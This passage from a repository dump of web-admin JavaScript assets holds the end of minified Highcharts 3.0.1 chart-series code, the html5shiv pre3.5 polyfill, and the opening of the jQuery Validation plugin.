b=this.options,c=this.graph,d=this.graphNeg,e=b.states,b=b.lineWidth,\na=a||\"\";if(this.state!==a)this.state=a,e[a]&&e[a].enabled===!1||(a&&(b=e[a].lineWidth||b+1),c&&!c.dashstyle&&(a={\"stroke-width\":b},c.attr(a),d&&d.attr(a)))},setVisible:function(a,b){var c=this,d=c.chart,e=c.legendItem,f,g=d.options.chart.ignoreHiddenSeries,h=c.visible;f=(c.visible=a=c.userOptions.visible=a===x?!h:a)?\"show\":\"hide\";n([\"group\",\"dataLabelsGroup\",\"markerGroup\",\"tracker\"],function(a){if(c[a])c[a][f]()});if(d.hoverSeries===c)c.onMouseOut();e&&d.legend.colorizeItem(c,a);c.isDirty=!0;c.options.stacking&&\nn(d.series,function(a){if(a.options.stacking&&a.visible)a.isDirty=!0});n(c.linkedSeries,function(b){b.setVisible(a,!1)});if(g)d.isDirtyBox=!0;b!==!1&&d.redraw();D(c,f)},show:function(){this.setVisible(!0)},hide:function(){this.setVisible(!1)},select:function(a){this.selected=a=a===x?!this.selected:a;if(this.checkbox)this.checkbox.checked=a;D(this,a?\"select\":\"unselect\")},drawTracker:function(){var a=this,b=a.options,c=b.trackByArea,d=[].concat(c?a.areaPath:a.graphPath),e=d.length,f=a.chart,g=f.pointer,\nh=f.renderer,i=f.options.tooltip.snap,j=a.tracker,k=b.cursor,k=k&&{cursor:k},m=a.singlePoints,l,n=function(){if(f.hoverSeries!==a)a.onMouseOver()};if(e&&!c)for(l=e+1;l--;)d[l]===\"M\"&&d.splice(l+1,0,d[l+1]-i,d[l+2],\"L\"),(l&&d[l]===\"M\"||l===e)&&d.splice(l,0,\"L\",d[l-2]+i,d[l-1]);for(l=0;l<m.length;l++)e=m[l],d.push(\"M\",e.plotX-i,e.plotY,\"L\",e.plotX+i,e.plotY);if(j)j.attr({d:d});else if(a.tracker=j=h.path(d).attr({\"class\":\"highcharts-tracker\",\"stroke-linejoin\":\"round\",visibility:a.visible?\"visible\":\"hidden\",\nstroke:Mb,fill:c?Mb:S,\"stroke-width\":b.lineWidth+(c?0:2*i),zIndex:2}).addClass(\"highcharts-tracker\").on(\"mouseover\",n).on(\"mouseout\",function(a){g.onTrackerMouseOut(a)}).css(k).add(a.markerGroup),fb)j.on(\"touchstart\",n)}};M=ea(R);aa.line=M;X.area=y(W,{threshold:0});M=ea(R,{type:\"area\",getSegments:function(){var a=[],b=[],c=[],d=this.xAxis,e=this.yAxis,f=e.stacks[this.stackKey],g={},h,i,j=this.points,k,m;if(this.options.stacking&&!this.cropped){for(k=0;k<j.length;k++)g[j[k].x]=j[k];for(m in f)c.push(+m);\nc.sort(function(a,b){return a-b});n(c,function(a){g[a]?b.push(g[a]):(h=d.translate(a),i=e.toPixels(f[a].cum,!0),b.push({y:null,plotX:h,clientX:h,plotY:i,yBottom:i,onMouseOver:ta}))});b.length&&a.push(b)}else R.prototype.getSegments.call(this),a=this.segments;this.segments=a},getSegmentPath:function(a){var b=R.prototype.getSegmentPath.call(this,a),c=[].concat(b),d,e=this.options;b.length===3&&c.push(\"L\",b[1],b[2]);if(e.stacking&&!this.closedStacks)for(d=a.length-1;d>=0;d--)d<a.length-1&&e.step&&c.push(a[d+\n1].plotX,a[d].yBottom),c.push(a[d].plotX,a[d].yBottom);else this.closeSegment(c,a);this.areaPath=this.areaPath.concat(c);return b},closeSegment:function(a,b){var c=this.yAxis.getThreshold(this.options.threshold);a.push(\"L\",b[b.length-1].plotX,c,\"L\",b[0].plotX,c)},drawGraph:function(){this.areaPath=[];R.prototype.drawGraph.apply(this);var a=this,b=this.areaPath,c=this.options,d=[[\"area\",this.color,c.fillColor]];c.negativeColor&&d.push([\"areaNeg\",c.negativeColor,c.negativeFillColor]);n(d,function(d){var f=\nd[0],g=a[f];g?g.animate({d:b}):a[f]=a.chart.renderer.path(b).attr({fill:o(d[2],ma(d[1]).setOpacity(c.fillOpacity||0.75).get()),zIndex:0}).add(a.group)})},drawLegendSymbol:function(a,b){b.legendSymbol=this.chart.renderer.rect(0,a.baseline-11,a.options.symbolWidth,12,2).attr({zIndex:3}).add(b.legendGroup)}});aa.area=M;X.spline=y(W);F=ea(R,{type:\"spline\",getPointSpline:function(a,b,c){var d=b.plotX,e=b.plotY,f=a[c-1],g=a[c+1],h,i,j,k;if(f&&g){a=f.plotY;j=g.plotX;var g=g.plotY,m;h=(1.5*d+f.plotX)/2.5;\ni=(1.5*e+a)/2.5;j=(1.5*d+j)/2.5;k=(1.5*e+g)/2.5;m=(k-i)*(j-d)/(j-h)+e-k;i+=m;k+=m;i>a&&i>e?(i=q(a,e),k=2*e-i):i<a&&i<e&&(i=K(a,e),k=2*e-i);k>g&&k>e?(k=q(g,e),i=2*e-k):k<g&&k<e&&(k=K(g,e),i=2*e-k);b.rightContX=j;b.rightContY=k}c?(b=[\"C\",f.rightContX||f.plotX,f.rightContY||f.plotY,h||d,i||e,d,e],f.rightContX=f.rightContY=null):b=[\"M\",d,e];return b}});aa.spline=F;X.areaspline=y(X.area);na=M.prototype;F=ea(F,{type:\"areaspline\",closedStacks:!0,getSegmentPath:na.getSegmentPath,closeSegment:na.closeSegment,\ndrawGraph:na.drawGraph});aa.areaspline=F;X.column=y(W,{borderColor:\"#FFFFFF\",borderWidth:1,borderRadius:0,groupPadding:0.2,marker:null,pointPadding:0.1,minPointLength:0,cropThreshold:50,pointRange:null,states:{hover:{brightness:0.1,shadow:!1},select:{color:\"#C0C0C0\",borderColor:\"#000000\",shadow:!1}},dataLabels:{align:null,verticalAlign:null,y:null},stickyTracking:!1,threshold:0});F=ea(R,{type:\"column\",tooltipOutsidePlot:!0,requireSorting:!1,pointAttrToOptions:{stroke:\"borderColor\",\"stroke-width\":\"borderWidth\",\nfill:\"color\",r:\"borderRadius\"},trackerGroups:[\"group\",\"dataLabelsGroup\"],init:function(){R.prototype.init.apply(this,arguments);var a=this,b=a.chart;b.hasRendered&&n(b.series,function(b){if(b.type===a.type)b.isDirty=!0})},getColumnMetrics:function(){var a=this,b=a.chart,c=a.options,d=this.xAxis,e=d.reversed,f,g={},h,i=0;c.grouping===!1?i=1:n(b.series,function(b){var c=b.options;if(b.type===a.type&&b.visible&&a.options.group===c.group)c.stacking?(f=b.stackKey,g[f]===x&&(g[f]=i++),h=g[f]):c.grouping!==\n!1&&(h=i++),b.columnIndex=h});var b=K(Q(d.transA)*(d.ordinalSlope||c.pointRange||d.closestPointRange||1),d.len),d=b*c.groupPadding,j=(b-2*d)/i,k=c.pointWidth,c=r(k)?(j-k)/2:j*c.pointPadding,k=o(k,j-2*c);return a.columnMetrics={width:k,offset:c+(d+((e?i-(a.columnIndex||0):a.columnIndex)||0)*j-b/2)*(e?-1:1)}},translate:function(){var a=this,b=a.chart,c=a.options,d=c.stacking,e=c.borderWidth,f=a.yAxis,g=a.translatedThreshold=f.getThreshold(c.threshold),h=o(c.minPointLength,5),c=a.getColumnMetrics(),\ni=c.width,j=ja(q(i,1+2*e)),k=c.offset;R.prototype.translate.apply(a);n(a.points,function(c){var l=K(q(-999,c.plotY),f.len+999),n=o(c.yBottom,g),s=c.plotX+k,t=ja(K(l,n)),l=ja(q(l,n)-t),r=f.stacks[(c.y<0?\"-\":\"\")+a.stackKey];d&&a.visible&&r&&r[c.x]&&r[c.x].setOffset(k,j);Q(l)<h&&h&&(l=h,t=Q(t-g)>h?n-h:g-(f.translate(c.y,0,1,0,1)<=g?h:0));c.barX=s;c.pointWidth=i;c.shapeType=\"rect\";c.shapeArgs=c=b.renderer.Element.prototype.crisp.call(0,e,s,t,j,l);e%2&&(c.y-=1,c.height+=1)})},getSymbol:ta,drawLegendSymbol:M.prototype.drawLegendSymbol,\ndrawGraph:ta,drawPoints:function(){var a=this,b=a.options,c=a.chart.renderer,d;n(a.points,function(e){var f=e.plotY,g=e.graphic;if(f!==x&&!isNaN(f)&&e.y!==null)d=e.shapeArgs,g?(Ta(g),g.animate(y(d))):e.graphic=c[e.shapeType](d).attr(e.pointAttr[e.selected?\"select\":\"\"]).add(a.group).shadow(b.shadow,null,b.stacking&&!b.borderRadius);else if(g)e.graphic=g.destroy()})},drawTracker:function(){var a=this,b=a.chart.pointer,c=a.options.cursor,d=c&&{cursor:c},e=function(b){var c=b.target,d;for(a.onMouseOver();c&&\n!d;)d=c.point,c=c.parentNode;if(d!==x)d.onMouseOver(b)};n(a.points,function(a){if(a.graphic)a.graphic.element.point=a;if(a.dataLabel)a.dataLabel.element.point=a});a._hasTracking?a._hasTracking=!0:n(a.trackerGroups,function(c){if(a[c]&&(a[c].addClass(\"highcharts-tracker\").on(\"mouseover\",e).on(\"mouseout\",function(a){b.onTrackerMouseOut(a)}).css(d),fb))a[c].on(\"touchstart\",e)})},alignDataLabel:function(a,b,c,d,e){var f=this.chart,g=f.inverted,h=a.dlBox||a.shapeArgs,i=a.below||a.plotY>o(this.translatedThreshold,\nf.plotSizeY),j=o(c.inside,!!this.options.stacking);if(h&&(d=y(h),g&&(d={x:f.plotWidth-d.y-d.height,y:f.plotHeight-d.x-d.width,width:d.height,height:d.width}),!j))g?(d.x+=i?0:d.width,d.width=0):(d.y+=i?d.height:0,d.height=0);c.align=o(c.align,!g||j?\"center\":i?\"right\":\"left\");c.verticalAlign=o(c.verticalAlign,g||j?\"middle\":i?\"top\":\"bottom\");R.prototype.alignDataLabel.call(this,a,b,c,d,e)},animate:function(a){var b=this.yAxis,c=this.options,d=this.chart.inverted,e={};if(Z)a?(e.scaleY=0.001,a=K(b.pos+\nb.len,q(b.pos,b.toPixels(c.threshold))),d?e.translateX=a-b.len:e.translateY=a,this.group.attr(e)):(e.scaleY=1,e[d?\"translateX\":\"translateY\"]=b.pos,this.group.animate(e,this.options.animation),this.animate=null)},remove:function(){var a=this,b=a.chart;b.hasRendered&&n(b.series,function(b){if(b.type===a.type)b.isDirty=!0});R.prototype.remove.apply(a,arguments)}});aa.column=F;X.bar=y(X.column);na=ea(F,{type:\"bar\",inverted:!0});aa.bar=na;X.scatter=y(W,{lineWidth:0,tooltip:{headerFormat:'<span style=\"font-size: 10px; color:{series.color}\">{series.name}</span><br/>',\npointFormat:\"x: <b>{point.x}</b><br/>y: <b>{point.y}</b><br/>\",followPointer:!0},stickyTracking:!1});na=ea(R,{type:\"scatter\",sorted:!1,requireSorting:!1,noSharedTooltip:!0,trackerGroups:[\"markerGroup\"],drawTracker:F.prototype.drawTracker,setTooltipPoints:ta});aa.scatter=na;X.pie=y(W,{borderColor:\"#FFFFFF\",borderWidth:1,center:[null,null],clip:!1,colorByPoint:!0,dataLabels:{distance:30,enabled:!0,formatter:function(){return this.point.name}},ignoreHiddenPoint:!0,legendType:\"point\",marker:null,size:null,\nshowInLegend:!1,slicedOffset:10,states:{hover:{brightness:0.1,shadow:!1}},stickyTracking:!1,tooltip:{followPointer:!0}});W={type:\"pie\",isCartesian:!1,pointClass:ea(Ma,{init:function(){Ma.prototype.init.apply(this,arguments);var a=this,b;if(a.y<0)a.y=null;v(a,{visible:a.visible!==!1,name:o(a.name,\"Slice\")});b=function(){a.slice()};J(a,\"select\",b);J(a,\"unselect\",b);return a},setVisible:function(a){var b=this,c=b.series,d=c.chart,e;b.visible=b.options.visible=a=a===x?!b.visible:a;c.options.data[la(b,\nc.data)]=b.options;e=a?\"show\":\"hide\";n([\"graphic\",\"dataLabel\",\"connector\",\"shadowGroup\"],function(a){if(b[a])b[a][e]()});b.legendItem&&d.legend.colorizeItem(b,a);if(!c.isDirty&&c.options.ignoreHiddenPoint)c.isDirty=!0,d.redraw()},slice:function(a,b,c){var d=this.series;Ha(c,d.chart);o(b,!0);this.sliced=this.options.sliced=a=r(a)?a:!this.sliced;d.options.data[la(this,d.data)]=this.options;a=a?this.slicedTranslation:{translateX:0,translateY:0};this.graphic.animate(a);this.shadowGroup&&this.shadowGroup.animate(a)}}),\nrequireSorting:!1,noSharedTooltip:!0,trackerGroups:[\"group\",\"dataLabelsGroup\"],pointAttrToOptions:{stroke:\"borderColor\",\"stroke-width\":\"borderWidth\",fill:\"color\"},getColor:ta,animate:function(a){var b=this,c=b.points,d=b.startAngleRad;if(!a)n(c,function(a){var c=a.graphic,a=a.shapeArgs;c&&(c.attr({r:b.center[3]/2,start:d,end:d}),c.animate({r:a.r,start:a.start,end:a.end},b.options.animation))}),b.animate=null},setData:function(a,b){R.prototype.setData.call(this,a,!1);this.processData();this.generatePoints();\no(b,!0)&&this.chart.redraw()},getCenter:function(){var a=this.options,b=this.chart,c=2*(a.slicedOffset||0),d,e=b.plotWidth-2*c,f=b.plotHeight-2*c,b=a.center,a=[o(b[0],\"50%\"),o(b[1],\"50%\"),a.size||\"100%\",a.innerSize||0],g=K(e,f),h;return Ka(a,function(a,b){h=/%$/.test(a);d=b<2||b===2&&h;return(h?[e,f,g,g][b]*u(a)/100:a)+(d?c:0)})},translate:function(a){this.generatePoints();var b=0,c=0,d=this.options,e=d.slicedOffset,f=e+d.borderWidth,g,h,i,j=this.startAngleRad=Ja/180*((d.startAngle||0)%360-90),k=\nthis.points,m=2*Ja,l=d.dataLabels.distance,n=d.ignoreHiddenPoint,o,q=k.length,r;if(!a)this.center=a=this.getCenter();this.getX=function(b,c){i=I.asin((b-a[1])/(a[2]/2+l));return a[0]+(c?-1:1)*Y(i)*(a[2]/2+l)};for(o=0;o<q;o++)r=k[o],b+=n&&!r.visible?0:r.y;for(o=0;o<q;o++){r=k[o];d=b?r.y/b:0;g=t((j+c*m)*1E3)/1E3;if(!n||r.visible)c+=d;h=t((j+c*m)*1E3)/1E3;r.shapeType=\"arc\";r.shapeArgs={x:a[0],y:a[1],r:a[2]/2,innerR:a[3]/2,start:g,end:h};i=(h+g)/2;i>0.75*m&&(i-=2*Ja);r.slicedTranslation={translateX:t(Y(i)*\ne),translateY:t(ca(i)*e)};g=Y(i)*a[2]/2;h=ca(i)*a[2]/2;r.tooltipPos=[a[0]+g*0.7,a[1]+h*0.7];r.half=i<m/4?0:1;r.angle=i;f=K(f,l/2);r.labelPos=[a[0]+g+Y(i)*l,a[1]+h+ca(i)*l,a[0]+g+Y(i)*f,a[1]+h+ca(i)*f,a[0]+g,a[1]+h,l<0?\"center\":r.half?\"right\":\"left\",i];r.percentage=d*100;r.total=b}this.setTooltipPoints()},drawGraph:null,drawPoints:function(){var a=this,b=a.chart.renderer,c,d,e=a.options.shadow,f,g;if(e&&!a.shadowGroup)a.shadowGroup=b.g(\"shadow\").add(a.group);n(a.points,function(h){d=h.graphic;g=h.shapeArgs;\nf=h.shadowGroup;if(e&&!f)f=h.shadowGroup=b.g(\"shadow\").add(a.shadowGroup);c=h.sliced?h.slicedTranslation:{translateX:0,translateY:0};f&&f.attr(c);d?d.animate(v(g,c)):h.graphic=d=b.arc(g).setRadialReference(a.center).attr(h.pointAttr[h.selected?\"select\":\"\"]).attr({\"stroke-linejoin\":\"round\"}).attr(c).add(a.group).shadow(e,f);h.visible===!1&&h.setVisible(!1)})},drawDataLabels:function(){var a=this,b=a.data,c,d=a.chart,e=a.options.dataLabels,f=o(e.connectorPadding,10),g=o(e.connectorWidth,1),h=d.plotWidth,\nd=d.plotHeight,i,j,k=o(e.softConnector,!0),m=e.distance,l=a.center,p=l[2]/2,s=l[1],r=m>0,v,w,u,x,y=[[],[]],A,z,E,H,C,D=[0,0,0,0],K=function(a,b){return b.y-a.y},M=function(a,b){a.sort(function(a,c){return a.angle!==void 0&&(c.angle-a.angle)*b})};if(e.enabled||a._hasPointLabels){R.prototype.drawDataLabels.apply(a);n(b,function(a){a.dataLabel&&y[a.half].push(a)});for(H=0;!x&&b[H];)x=b[H]&&b[H].dataLabel&&(b[H].dataLabel.getBBox().height||21),H++;for(H=2;H--;){var b=[],L=[],I=y[H],J=I.length,F;M(I,H-\n0.5);if(m>0){for(C=s-p-m;C<=s+p+m;C+=x)b.push(C);w=b.length;if(J>w){c=[].concat(I);c.sort(K);for(C=J;C--;)c[C].rank=C;for(C=J;C--;)I[C].rank>=w&&I.splice(C,1);J=I.length}for(C=0;C<J;C++){c=I[C];u=c.labelPos;c=9999;var O,N;for(N=0;N<w;N++)O=Q(b[N]-u[1]),O<c&&(c=O,F=N);if(F<C&&b[C]!==null)F=C;else for(w<J-C+F&&b[C]!==null&&(F=w-J+C);b[F]===null;)F++;L.push({i:F,y:b[F]});b[F]=null}L.sort(K)}for(C=0;C<J;C++){c=I[C];u=c.labelPos;v=c.dataLabel;E=c.visible===!1?\"hidden\":\"visible\";c=u[1];if(m>0){if(w=L.pop(),\nF=w.i,z=w.y,c>z&&b[F+1]!==null||c<z&&b[F-1]!==null)z=c}else z=c;A=e.justify?l[0]+(H?-1:1)*(p+m):a.getX(F===0||F===b.length-1?c:z,H);v._attr={visibility:E,align:u[6]};v._pos={x:A+e.x+({left:f,right:-f}[u[6]]||0),y:z+e.y-10};v.connX=A;v.connY=z;if(this.options.size===null)w=v.width,A-w<f?D[3]=q(t(w-A+f),D[3]):A+w>h-f&&(D[1]=q(t(A+w-h+f),D[1])),z-x/2<0?D[0]=q(t(-z+x/2),D[0]):z+x/2>d&&(D[2]=q(t(z+x/2-d),D[2]))}}if(pa(D)===0||this.verifyDataLabelOverflow(D))this.placeDataLabels(),r&&g&&n(this.points,function(b){i=\nb.connector;u=b.labelPos;if((v=b.dataLabel)&&v._pos)A=v.connX,z=v.connY,j=k?[\"M\",A+(u[6]===\"left\"?5:-5),z,\"C\",A,z,2*u[2]-u[4],2*u[3]-u[5],u[2],u[3],\"L\",u[4],u[5]]:[\"M\",A+(u[6]===\"left\"?5:-5),z,\"L\",u[2],u[3],\"L\",u[4],u[5]],i?(i.animate({d:j}),i.attr(\"visibility\",E)):b.connector=i=a.chart.renderer.path(j).attr({\"stroke-width\":g,stroke:e.connectorColor||b.color||\"#606060\",visibility:E}).add(a.group);else if(i)b.connector=i.destroy()})}},verifyDataLabelOverflow:function(a){var b=this.center,c=this.options,\nd=c.center,e=c=c.minSize||80,f;d[0]!==null?e=q(b[2]-q(a[1],a[3]),c):(e=q(b[2]-a[1]-a[3],c),b[0]+=(a[3]-a[1])/2);d[1]!==null?e=q(K(e,b[2]-q(a[0],a[2])),c):(e=q(K(e,b[2]-a[0]-a[2]),c),b[1]+=(a[0]-a[2])/2);e<b[2]?(b[2]=e,this.translate(b),n(this.points,function(a){if(a.dataLabel)a.dataLabel._pos=null}),this.drawDataLabels()):f=!0;return f},placeDataLabels:function(){n(this.points,function(a){var a=a.dataLabel,b;if(a)(b=a._pos)?(a.attr(a._attr),a[a.moved?\"animate\":\"attr\"](b),a.moved=!0):a&&a.attr({y:-999})})},\nalignDataLabel:ta,drawTracker:F.prototype.drawTracker,drawLegendSymbol:M.prototype.drawLegendSymbol,getSymbol:ta};W=ea(R,W);aa.pie=W;v(Highcharts,{Axis:ab,Chart:sb,Color:ma,Legend:rb,Pointer:qb,Point:Ma,Tick:Ia,Tooltip:pb,Renderer:Sa,Series:R,SVGElement:ra,SVGRenderer:Aa,arrayMin:Fa,arrayMax:pa,charts:za,dateFormat:Ua,format:Ea,pathAnim:ub,getOptions:function(){return N},hasBidiBug:Rb,isTouchDevice:Kb,numberFormat:Na,seriesTypes:aa,setOptions:function(a){N=y(N,a);Hb();return N},addEvent:J,removeEvent:ba,\ncreateElement:U,discardElement:Ra,css:L,each:n,extend:v,map:Ka,merge:y,pick:o,splat:ha,extendClass:ea,pInt:u,wrap:function(a,b,c){var d=a[b];a[b]=function(){var a=Array.prototype.slice.call(arguments);a.unshift(d);return c.apply(this,a)}},svg:Z,canvas:$,vml:!Z&&!$,product:\"Highcharts\",version:\"3.0.1\"})})();\n"
  },
  {
    "path": "clover/clover-admin/src/main/webapp/js/html5.js",
    "content": "/*! HTML5 Shiv pre3.5 | @afarkas @jdalton @jon_neal @rem | MIT/GPL2 Licensed \r\n    Uncompressed source: https://github.com/aFarkas/html5shiv */\r\n(function(a,b){function h(a,b){var c=a.createElement(\"p\"),d=a.getElementsByTagName(\"head\")[0]||a.documentElement;return c.innerHTML=\"x<style>\"+b+\"</style>\",d.insertBefore(c.lastChild,d.firstChild)}function i(){var a=l.elements;return typeof a==\"string\"?a.split(\" \"):a}function j(a){var b={},c=a.createElement,f=a.createDocumentFragment,g=f();a.createElement=function(a){l.shivMethods||c(a);var f;return b[a]?f=b[a].cloneNode():e.test(a)?f=(b[a]=c(a)).cloneNode():f=c(a),f.canHaveChildren&&!d.test(a)?g.appendChild(f):f},a.createDocumentFragment=Function(\"h,f\",\"return function(){var n=f.cloneNode(),c=n.createElement;h.shivMethods&&(\"+i().join().replace(/\\w+/g,function(a){return b[a]=c(a),g.createElement(a),'c(\"'+a+'\")'})+\");return n}\")(l,g)}function k(a){var b;return a.documentShived?a:(l.shivCSS&&!f&&(b=!!h(a,\"article,aside,details,figcaption,figure,footer,header,hgroup,nav,section{display:block}audio{display:none}canvas,video{display:inline-block;*display:inline;*zoom:1}[hidden]{display:none}audio[controls]{display:inline-block;*display:inline;*zoom:1}mark{background:#FF0;color:#000}\")),g||(b=!j(a)),b&&(a.documentShived=b),a)}function p(a){var b,c=a.getElementsByTagName(\"*\"),d=c.length,e=RegExp(\"^(?:\"+i().join(\"|\")+\")$\",\"i\"),f=[];while(d--)b=c[d],e.test(b.nodeName)&&f.push(b.applyElement(q(b)));return f}function q(a){var b,c=a.attributes,d=c.length,e=a.ownerDocument.createElement(n+\":\"+a.nodeName);while(d--)b=c[d],b.specified&&e.setAttribute(b.nodeName,b.nodeValue);return e.style.cssText=a.style.cssText,e}function r(a){var b,c=a.split(\"{\"),d=c.length,e=RegExp(\"(^|[\\\\s,>+~])(\"+i().join(\"|\")+\")(?=[[\\\\s,>+~#.:]|$)\",\"gi\"),f=\"$1\"+n+\"\\\\:$2\";while(d--)b=c[d]=c[d].split(\"}\"),b[b.length-1]=b[b.length-1].replace(e,f),c[d]=b.join(\"}\");return c.join(\"{\")}function s(a){var b=a.length;while(b--)a[b].removeNode()}function t(a){var b,c,d=a.namespaces,e=a.parentWindow;return!o||a.printShived?a:(typeof d[n]==\"undefined\"&&d.add(n),e.attachEvent(\"onbeforeprint\",function(){var d,e,f,g=a.styleSheets,i=[],j=g.length,k=Array(j);while(j--)k[j]=g[j];while(f=k.pop())if(!f.disabled&&m.test(f.media)){for(d=f.imports,j=0,e=d.length;j<e;j++)k.push(d[j]);try{i.push(f.cssText)}catch(l){}}i=r(i.reverse().join(\"\")),c=p(a),b=h(a,i)}),e.attachEvent(\"onafterprint\",function(){s(c),b.removeNode(!0)}),a.printShived=!0,a)}var c=a.html5||{},d=/^<|^(?:button|form|map|select|textarea|object|iframe)$/i,e=/^<|^(?:a|b|button|code|div|fieldset|form|h1|h2|h3|h4|h5|h6|i|iframe|img|input|label|li|link|ol|option|p|param|q|script|select|span|strong|style|table|tbody|td|textarea|tfoot|th|thead|tr|ul)$/i,f,g;(function(){var c=b.createElement(\"a\");c.innerHTML=\"<xyz></xyz>\",f=\"hidden\"in c,f&&typeof injectElementWithStyles==\"function\"&&injectElementWithStyles(\"#modernizr{}\",function(b){b.hidden=!0,f=(a.getComputedStyle?getComputedStyle(b,null):b.currentStyle).display==\"none\"}),g=c.childNodes.length==1||function(){try{b.createElement(\"a\")}catch(a){return!0}var c=b.createDocumentFragment();return typeof c.cloneNode==\"undefined\"||typeof c.createDocumentFragment==\"undefined\"||typeof c.createElement==\"undefined\"}()})();var l={elements:c.elements||\"abbr article aside audio bdi canvas data datalist details figcaption figure footer header hgroup mark meter nav output progress section summary time video\",shivCSS:c.shivCSS!==!1,shivMethods:c.shivMethods!==!1,type:\"default\",shivDocument:k};a.html5=l,k(b);var m=/^$|\\b(?:all|print)\\b/,n=\"html5shiv\",o=!g&&function(){var c=b.documentElement;return typeof b.namespaces!=\"undefined\"&&typeof b.parentWindow!=\"undefined\"&&typeof c.applyElement!=\"undefined\"&&typeof c.removeNode!=\"undefined\"&&typeof a.attachEvent!=\"undefined\"}();l.type+=\" print\",l.shivPrint=t,t(b)})(this,document)"
  },
  {
    "path": "clover/clover-admin/src/main/webapp/js/jquery.validate.js",
    "content": "/*\r\n * http://bassistance.de/jquery-plugins/jquery-plugin-validation/\r\n * http://docs.jquery.com/Plugins/Validation\r\n *\r\n * Copyright (c) 2006 - 2008 Jörn Zaefferer\r\n *\r\n * $Id: jquery.validate.js 6403 2009-06-17 14:27:16Z joern.zaefferer $\r\n *\r\n * Dual licensed under the MIT and GPL licenses:\r\n *   http://www.opensource.org/licenses/mit-license.php\r\n *   http://www.gnu.org/licenses/gpl.html\r\n */\r\n /**\r\n * @fileoverview jQuery validation 基于jQuery的验证插件\r\n * @author Toolman\r\n * @version 1.7\r\n */\r\n\r\n(function($) {\r\n\r\n$.extend($.fn, {\r\n\t// http://docs.jquery.com/Plugins/Validation/validate\r\n\tvalidate: function( options ) {\r\n\r\n\t\t// if nothing is selected, return nothing; can't chain anyway\r\n\t\tif (!this.length) {\r\n\t\t\toptions && options.debug && window.console && console.warn( \"nothing selected, can't validate, returning nothing\" );\r\n\t\t\treturn;\r\n\t\t}\r\n\r\n\t\t// check if a validator for this form was already created\r\n\t\tvar validator = $.data(this[0], 'validator');\r\n\t\tif ( validator ) {\r\n\t\t\treturn validator;\r\n\t\t}\r\n\t\t\r\n\t\tvalidator = new $.validator( options, this[0] );\r\n\t\t$.data(this[0], 'validator', validator); \r\n\t\t\r\n\t\tif ( validator.settings.onsubmit ) {\r\n\t\t\r\n\t\t\t// allow suppresing validation by adding a cancel class to the submit button\r\n\t\t\tthis.find(\"input, button\").filter(\".cancel\").click(function() {\r\n\t\t\t\tvalidator.cancelSubmit = true;\r\n\t\t\t});\r\n\t\t\t\r\n\t\t\t// when a submitHandler is used, capture the submitting button\r\n\t\t\tif (validator.settings.submitHandler) {\r\n\t\t\t\tthis.find(\"input, button\").filter(\":submit\").click(function() {\r\n\t\t\t\t\tvalidator.submitButton = this;\r\n\t\t\t\t});\r\n\t\t\t}\r\n\t\t\r\n\t\t\t// validate the form on submit\r\n\t\t\tthis.submit( function( event ) {\r\n\t\t\t\tif ( validator.settings.debug )\r\n\t\t\t\t\t// prevent form submit to be able to see console output\r\n\t\t\t\t\tevent.preventDefault();\r\n\t\t\t\t\t\r\n\t\t\t\tfunction handle() {\r\n\t\t\t\t\tif ( validator.settings.submitHandler ) {\r\n\t\t\t\t\t\tif (validator.submitButton) {\r\n\t\t\t\t\t\t\t// insert a hidden input as a replacement for the missing submit button\r\n\t\t\t\t\t\t\tvar hidden = $(\"<input type='hidden'/>\").attr(\"name\", validator.submitButton.name).val(validator.submitButton.value).appendTo(validator.currentForm);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\tvalidator.settings.submitHandler.call( validator, validator.currentForm );\r\n\t\t\t\t\t\tif (validator.submitButton) {\r\n\t\t\t\t\t\t\t// and clean up afterwards; thanks to no-block-scope, hidden can be referenced\r\n\t\t\t\t\t\t\thidden.remove();\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\treturn false;\r\n\t\t\t\t\t}\r\n\t\t\t\t\treturn true;\r\n\t\t\t\t}\r\n\t\t\t\t\t\r\n\t\t\t\t// prevent submit for invalid forms or custom submit handlers\r\n\t\t\t\tif ( validator.cancelSubmit ) {\r\n\t\t\t\t\tvalidator.cancelSubmit = false;\r\n\t\t\t\t\treturn handle();\r\n\t\t\t\t}\r\n\t\t\t\tif ( validator.form() ) {\r\n\t\t\t\t\tif ( validator.pendingRequest ) {\r\n\t\t\t\t\t\tvalidator.formSubmitted = true;\r\n\t\t\t\t\t\treturn false;\r\n\t\t\t\t\t}\r\n\t\t\t\t\treturn handle();\r\n\t\t\t\t} else {\r\n\t\t\t\t\tvalidator.focusInvalid();\r\n\t\t\t\t\treturn false;\r\n\t\t\t\t}\r\n\t\t\t});\r\n\t\t}\r\n\t\t\r\n\t\treturn validator;\r\n\t},\r\n\t// http://docs.jquery.com/Plugins/Validation/valid\r\n\tvalid: function() {\r\n        if ( $(this[0]).is('form')) {\r\n            return this.validate().form();\r\n        } else {\r\n            var valid = true;\r\n            var validator = $(this[0].form).validate();\r\n            this.each(function() {\r\n\t\t\t\tvalid &= validator.element(this);\r\n            });\r\n            return valid;\r\n        }\r\n    },\r\n\t// attributes: space seperated list of attributes to retrieve and remove\r\n\tremoveAttrs: function(attributes) {\r\n\t\tvar result = {},\r\n\t\t\t$element = this;\r\n\t\t$.each(attributes.split(/\\s/), function(index, value) {\r\n\t\t\tresult[value] = $element.attr(value);\r\n\t\t\t$element.removeAttr(value);\r\n\t\t});\r\n\t\treturn result;\r\n\t},\r\n\t// http://docs.jquery.com/Plugins/Validation/rules\r\n\trules: function(command, argument) {\r\n\t\tvar element = this[0];\r\n\t\t\r\n\t\tif (command) {\r\n\t\t\tvar settings = $.data(element.form, 'validator').settings;\r\n\t\t\tvar staticRules = settings.rules;\r\n\t\t\tvar existingRules = $.validator.staticRules(element);\r\n\t\t\tswitch(command) {\r\n\t\t\tcase \"add\":\r\n\t\t\t\t$.extend(existingRules, $.validator.normalizeRule(argument));\r\n\t\t\t\tstaticRules[element.name] = existingRules;\r\n\t\t\t\tif (argument.messages)\r\n\t\t\t\t\tsettings.messages[element.name] = $.extend( settings.messages[element.name], argument.messages );\r\n\t\t\t\tbreak;\r\n\t\t\tcase \"remove\":\r\n\t\t\t\tif (!argument) {\r\n\t\t\t\t\tdelete staticRules[element.name];\r\n\t\t\t\t\treturn existingRules;\r\n\t\t\t\t}\r\n\t\t\t\tvar filtered = {};\r\n\t\t\t\t$.each(argument.split(/\\s/), function(index, method) {\r\n\t\t\t\t\tfiltered[method] = existingRules[method];\r\n\t\t\t\t\tdelete existingRules[method];\r\n\t\t\t\t});\r\n\t\t\t\treturn 